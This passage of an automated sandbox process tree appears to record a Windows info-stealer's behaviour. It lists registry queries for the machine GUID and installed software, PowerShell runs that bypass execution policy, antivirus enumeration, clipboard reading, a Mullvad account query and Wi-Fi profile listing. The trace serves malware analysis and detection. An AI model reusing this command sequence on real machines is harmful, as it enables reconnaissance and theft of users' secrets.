      findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      4⤵
      PID:5792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
    3⤵
    PID:2404
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
      4⤵
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:1200
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
    3⤵
    PID:4724
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2728
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4200
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1920
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5988
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4884
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1132
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4556
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3052
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5116
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4196
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1152
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2916
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:2556
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
    3⤵
    PID:5868
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
      4⤵
      PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
    3⤵
    PID:3316
  - - C:\Windows\system32\findstr.exe
      findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
      4⤵
      PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
    3⤵
    PID:4892
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
      4⤵
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
    3⤵
    PID:4256
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
    3⤵
    PID:5440
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2404
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
      4⤵
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
    3⤵
    PID:3284
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
      4⤵
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
    3⤵
    PID:6104
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
      4⤵
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
    3⤵
    PID:2516
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
      4⤵
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
    3⤵
    PID:3772
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
      4⤵
      PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
    3⤵
    PID:2076
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
      4⤵
      PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
    3⤵
    PID:4916
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
      4⤵
      PID:2652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
    3⤵
    PID:5116
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
      4⤵
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 135.0 (x64 en-US)""
    3⤵
    PID:4332
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 135.0 (x64 en-US)"
      4⤵
      PID:2432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
    3⤵
    PID:1640
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
      4⤵
      PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
    3⤵
    PID:4616
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
      4⤵
      PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
    3⤵
    PID:1716
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4200
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
      4⤵
      PID:4684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
    3⤵
    PID:3776
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
      4⤵
      PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
    3⤵
    PID:4556
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
      4⤵
      PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
    3⤵
    PID:2244
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
      4⤵
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}""
    3⤵
    PID:1576
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1200
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}"
      4⤵
      PID:1308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}""
    3⤵
    PID:4676
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}"
      4⤵
      PID:1456
- - C:\Windows\system32\taskkill.exe
    taskkill /PID 4676 /F
    3⤵
    - Kills process with taskkill
    PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
    3⤵
    PID:3524
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
      4⤵
      PID:916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BB73336-4F69-4141-9797-E9BD6FE3980A}""
    3⤵
    PID:376
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4252
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BB73336-4F69-4141-9797-E9BD6FE3980A}"
      4⤵
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
    3⤵
    PID:1948
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
      4⤵
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A96B93E-763F-41E7-85C7-1F3CCC37EF27}""
    3⤵
    PID:1032
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A96B93E-763F-41E7-85C7-1F3CCC37EF27}"
      4⤵
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
    3⤵
    PID:4836
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
    3⤵
    PID:4900
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
      4⤵
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
    3⤵
    PID:5592
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
      4⤵
      PID:2328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
    3⤵
    PID:4728
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
      4⤵
      PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
    3⤵
    PID:4740
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
      4⤵
      PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7447A794-FA2E-42BE-BA9A-5FCBD54C5DF3}""
    3⤵
    PID:4692
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7447A794-FA2E-42BE-BA9A-5FCBD54C5DF3}"
      4⤵
      PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}""
    3⤵
    PID:5448
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}"
      4⤵
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}""
    3⤵
    PID:4020
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}"
      4⤵
      PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
    3⤵
    PID:4960
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
      4⤵
      PID:2844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
    3⤵
    PID:396
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
      4⤵
      PID:4180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
    3⤵
    PID:3484
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5932
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
      4⤵
      PID:4216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9F51D16B-42E8-4A4A-8228-75045541A2AE}""
    3⤵
    PID:944
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9F51D16B-42E8-4A4A-8228-75045541A2AE}"
      4⤵
      PID:1852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BCC2FB07-8CF0-4542-B10C-61BCEF04AFF2}""
    3⤵
    PID:4684
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BCC2FB07-8CF0-4542-B10C-61BCEF04AFF2}"
      4⤵
      PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7B73281-AB0A-4DAD-A09F-5C30D40679AC}""
    3⤵
    PID:2744
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7B73281-AB0A-4DAD-A09F-5C30D40679AC}"
      4⤵
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
    3⤵
    PID:2172
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
      4⤵
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CE4D7AE0-FCBA-486F-A58F-DBA3626FBE4B}""
    3⤵
    PID:4964
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CE4D7AE0-FCBA-486F-A58F-DBA3626FBE4B}"
      4⤵
      PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
    3⤵
    PID:3000
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
      4⤵
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D46F1FD9-2FE8-4D05-B2AC-011C23B69B24}""
    3⤵
    PID:388
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2380
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D46F1FD9-2FE8-4D05-B2AC-011C23B69B24}"
      4⤵
      PID:3988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E634F316-BEB6-4FB3-A612-F7102F576165}""
    3⤵
    PID:2712
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E634F316-BEB6-4FB3-A612-F7102F576165}"
      4⤵
      PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\HpMax56GTXFd_tezmp.ps1""
    3⤵
    PID:2992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\HpMax56GTXFd_tezmp.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
    3⤵
    PID:3632
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Enumerates processes with tasklist
      PID:5500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "mullvad account get"
    3⤵
    PID:924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List displayName, instanceGuid, pathToSignedProductExe, pathToSignedReportingExe, productState, timestamp""
    3⤵
    PID:5016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List displayName, instanceGuid, pathToSignedProductExe, pathToSignedReportingExe, productState, timestamp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5684
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4276
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5196
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4300
